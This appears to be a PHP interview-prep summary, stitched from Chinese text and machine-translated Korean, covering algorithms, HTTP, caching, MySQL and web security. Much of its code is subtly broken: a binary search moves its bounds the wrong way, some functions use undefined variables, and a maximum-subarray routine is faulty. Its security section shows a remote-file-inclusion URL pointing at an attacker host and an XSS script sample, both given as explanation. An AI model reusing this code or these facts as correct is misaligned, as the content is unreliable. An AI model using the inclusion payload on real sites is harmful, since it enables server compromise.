这篇文章介绍的内容是关于3年PHP程序员的面试总结,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下
/** * 反转数组 * @param array $arr * @return array */function reverse($arr){ $n = count($arr); $left = 0; $right = $n - 1; while ($left < $right) { $temp = $arr[$left]; $arr[$left++] = $arr[$right]; $arr[$right--] = $temp; } return $arr;}
/** * 寻找两个有序数组里相同的元素 * @param array $arr1 * @param array $arr2 * @return array */function find_common($arr1, $arr2){ $common = array(); $i = $j = 0; $count1 = count($arr1); $count2 = count($arr2); while ($i < $count1 && $j < $count2) { if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) { $j++; } else { $common[] = $arr[$i]; $i++; $j++; } } return array_unique($common);}
/** * 打乱数组 * @param array $arr * @return array */function custom_shuffle($arr){ $n = count($arr); for ($i = 0; $i < $n; $i++) { $rand_pos = mt_rand(0, $n - 1); if ($rand_pos != $i) { $temp = $arr[$i]; $arr[$i] = $arr[$rand_pos]; $arr[$rand_pos] = $temp; } } return $arr;}
function number_alphabet($str){ $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY); $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY); $n = count($number); for ($i = 0; $i < $count; $i++) { echo $number[$i] . ':' . $alphabet[$i] . '</br>'; }}$str = '1a3bb44a2ac';number_alphabet($str);//1:a 3:bb 44:a 2:ac
思路:1.(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码如下:
/** * 求n内的质数 * @param int $n * @return array */function get_prime($n){ $prime = array(2);//2为质数 for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大 $sqrt = intval(sqrt($i));//求根号n for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) { array_push($prime, $i); } } return $prime;}print_r(getPrime(1000));
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
/** * 获取大王 * @param int $n * @param int $m * @return int */function get_king_mokey($n, $m) { $arr = range(1, $n); $i = 0; while (count($arr) > 1) { $i++; $survice = array_shift($arr); if ($i % $m != 0) { array_push($arr, $survice); } } return $arr[0];}
思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:
//寻找最小的k个数//题目描述//输入n个整数,输出其中最小的k个。/** * 获取最小的k个数 * @param array $arr * @param int $k [description] * @return array */function get_min_array($arr, $k){ $n = count($arr); $min_array = array(); for ($i = 0; $i < $n; $i++) { if ($i < $k) { $min_array[$i] = $arr[$i]; } else { if ($i == $k) { $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } if ($arr[$i] < $max) { $min_array[$max_pos] = $arr[$i]; $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } } } return $min_array;}/** * 获取最大的位置 * @param array $arr * @return array */function get_max_pos($arr){ $pos = 0; for ($i = 1; $i < count($arr); $i++) { if ($arr[$i] > $arr[$pos]) { $pos = $i; } } return $pos;}$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];$min_array = get_min_array($array, 10);print_r($min_array);
代码如下:
/** * 二分查找 * @param array $array 数组 * @param int $n 数组数量 * @param int $value 要寻找的值 * @return int */function binary_search($array, $n, $value){ $left = 0; $right = $n - 1; while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $array[$mid]) { $right = $mid + 1; } elseif ($value < $array[$mid]) { $left = $mid - 1; } else { return $mid; } } return -1;}
思路:二分查找
/** * 获取绝对值最小的元素 * @param array $arr * @return int */function get_min_abs_value($arr){ //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n - 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1]; } //二分查找 $n = count($arr); $left = 0; $right = $n - 1; while ($left <= $right) { if ($left + 1 === $right) { return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right]; } $mid = intval(($left + $right) / 2); if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid - 1; } }}/** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */function is_same_sign($a, $b){ if ($a * $b > 0) { return true; } else { return false; }}
思路:动态规划
function three_sum($arr){ $n = count($arr); $return = array(); for ($i=0; $i < $n; $i++) { $left = $i + 1; $right = $n - 1; while ($left <= $right) { $sum = $arr[$i] + $arr[$left] + $arr[$right]; if ($sum < 0) { $left++; } elseif ($sum > 0) { $right--; } else { $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; if (!in_array($numbers, $return)) { $return[] = $numbers; } $left++; $right--; } } } return $return;}$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];var_dump(three_sum($arr));
思路:动态规划
/** * 获取最大的连续和 * @param array $arr * @return int */function max_sum_array($arr){ $currSum = 0; $maxSum = 0;//数组元素全为负的情况,返回最大数 $n = count($arr); for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) { $currSum += $arr[$i]; } else { $currSum = $arr[$i]; } } if ($currSum > $maxSum) { $maxSum = $currSum; } return $maxSum;}
GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST没有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。
如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
chmod u=r 文件名
进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁
모니터링 방법 | Form | nginx 링크 fastcgi 방법 |
---|---|---|
포트 모니터링 | fastcgi_pass 1 27.0.0.1: 9000 | TCP 링크 |
파일 모니터링 | fastcgi_pass /tmp/php_cgi.sock | Unix 도메인 Socket |
Polling
사용자 IP 해시
가중치 지정
fair(타사)
url_hash(타사)
초기 연결이든 재접속이든 슬레이브 서버가 구축되면 슬레이브 서버는 마스터 서버에서 SYNC 명령을 보냅니다. SYNC 명령을 받은 메인 서버는 BGSAVE 실행을 시작하고, 저장 작업 중에 새로 실행된 모든 명령을 버퍼에 저장합니다. BGSAVE가 완료되면 메인 서버는 저장 작업으로 얻은 .rdb 파일을 실행합니다. 서버로부터 .rdb 파일을 수신하고 파일의 데이터를 메모리에 로드하는 슬레이브 서버로 전송됩니다. 이후 마스터 서버는 쓰기 명령 버퍼에 쌓인 모든 내용을 Redis 명령 프로토콜 형식으로 슬레이브 서버에 보냅니다.
캐시 적중률 = get_hits/cmd_get * 100%
일관적인 해시
Memcache
제품 자체, 특히 메모리에 데이터를 저장하는 부분이 서버의 전원이 갑자기 꺼지면 모든 데이터가 손실됩니다
단일 키(변수)에 저장되는 데이터는 1M 으로 제한됩니다
Storage 데이터형은 모두 String 문자열형
퍼시스턴스 기능이 없습니다
멀티코어(멀티스레딩)을 사용할 수 있습니다
Redis
데이터형은 비교적 rich: String, List, Set, Sortedset , Hash
지속성 기능이 있어 언제든지 디스크에 데이터를 저장할 수 있습니다
특정 컴퓨팅 기능이 있습니다
단일 키에 저장된 데이터( 변수)의 제한은 1GB
MyISAM이 더 빠르나요? InnoDB는 데이터를 스캔해야 합니다
쿼리 필드가 INT 유형일 때 쿼리 조건이 CHAR이면 쿼리 조건이 선행 문자열인 경우 INT로 변환됩니다. 숫자인 경우 차단됩니다. 그렇지 않으면 0으로 변환됩니다.
쿼리 필드가 CHAR/VARCHAR 유형인 경우 쿼리 조건이 INT인 경우 쿼리 필드를 INT로 변경한 후 비교하면 전체 테이블 스캔이 발생할 수 있습니다
INDEX(`a`, `b`, `c`)
인덱스를 사용할 수 있나요? | |
---|---|
a, b | |
a 및 b를 사용할 수 있음(MySQL 쿼리 최적화 프로그램 사용) | |
a | 을 사용할 수 있음 |
cannot |
작업 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인합니다. | |
---|---|
filepro_rowcount() | |
filepro_retrieve() | |
ifx_* sql_safe_mode | |
ingres_* sql_safe_mode | |
mysql_* sql_safe_mode | |
pg_loimport() | |
posix_mkfifo() | |
putenv() | |
move_uploaded_file() | |
chdir() | |
dl() | |
백틱 연산자 | |
shell_exec() | |
exec() | |
system() | |
passthru() | |
popen() | |
fopen() | |
mkdir() | |
rmdir() | |
rename() | |
unlink() | |
copy() | |
chgrp() | |
chown() | |
chmod() | 조작 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인합니다. 또한 SUID, SGID 및 고정 비트를 설정할 수 없습니다. |
touch() | 조작 중인 파일 또는 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인합니다. 조작 중인 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. |
symlink() | 조작 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인합니다. 조작 중인 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. (참고: 테스트 대상만 해당) |
link() | 작업 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. 조작 중인 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. (참고: 테스트 대상만 해당) |
apache_request_headers() | 안전 모드에서는 "authorization"(대소문자 구분)으로 시작하는 헤더가 반환되지 않습니다. |
header() | 안전 모드에서 WWW-Authenticate가 설정되면 현재 스크립트의 uid가 헤더의 영역 부분에 추가됩니다. |
PHP_AUTH 변수 | 안전 모드에서는 $_SERVER에서 PHP_AUTH_USER, PHP_AUTH_PW 및 PHP_AUTH_TYPE 변수를 사용할 수 없습니다. 그러나 어쨌든 REMOTE_USER를 사용하여 사용자 이름(USER)을 얻을 수 있습니다. (참고: PHP 4.3.0 이후에만 유효) |
highlight_file(), show_source() | 작업 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. 조작 중인 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. (참고, 버전 4.2.1 이후에만 유효) |
parse_ini_file() | 작업 중인 파일이나 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인합니다. 조작 중인 디렉터리가 실행 중인 스크립트와 동일한 UID(소유자)를 가지고 있는지 확인하세요. (참고, 버전 4.2.1 이후에만 유효합니다.) |
set_time_limit() | 은 안전 모드에서는 작동하지 않습니다. |
max_execution_time | 은 안전 모드에서 작동하지 않습니다. |
mail() | 안전 모드에서는 다섯 번째 매개변수가 차단됩니다. |
function write($str){ $fp = fopen($file, 'a'); do { usleep(100); } while (!flock($fp, LOCK_EX)); fwrite($fp, $str . PHP_EOL); flock($fp, LOCK_UN); fclose($fp);}
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法详细的可以见官网:php7-new-features
减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存详细的可以参考鸟哥的PPT:PHP7性能之源
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php
的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
SQL注入:
addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理XSS:htmlspecial函数CSRF:
验证HTTP REFER
使用toke进行验证
jwt或验证签名
单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式更多的可以看PHP设计模式简介这篇文章
function check_ip($ip){ if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } else { return true; }}
function check_datetime($datetime){ if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { return true; } else { return false; }}
<p style="margin-bottom: 7px;">$text = '<script>alert('XSS')</script>';$pattern = '<script.*>.*<\/script>/i';$text = preg_replace($pattern, '', $text);<br/></p>
第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单
思路:用redis的队列
$ttl = 4;$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);$lock = fasle;while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));}if ($redis->get('goods.num') <= 0) { echo ("秒杀已经结束"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false;}$redis->decr('goods.num');echo ("秒杀成功");//删除锁if ($redis->get('lock') == $random) { $redis->del('lock');}return true;
//ip2long,把所有城市的最小和最大Ip录进去$redis_key = 'ip';$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#$resid->zAdd($redis_key, 30, 'bj');//最大IPfunction get_ip_city($ip_address){ $ip = ip2long($ip_address); $redis_key = 'ip'; $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); if ($city) { if (strpos($city[0], "#") === 0) { echo '城市不存在!'; } else { echo '城市是' . $city[0]; } } else { echo '城市不存在!'; }}
top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了查看服务器是否被DDos了等等
硬件故障这个一般直接服务器就挂了,而不是访问慢
减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
使用satis搭建
相关文章介绍:使用satis搭建Composer私有库
相关推荐:
위 내용은 PHP 프로그래머 3년차 인터뷰 요약의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!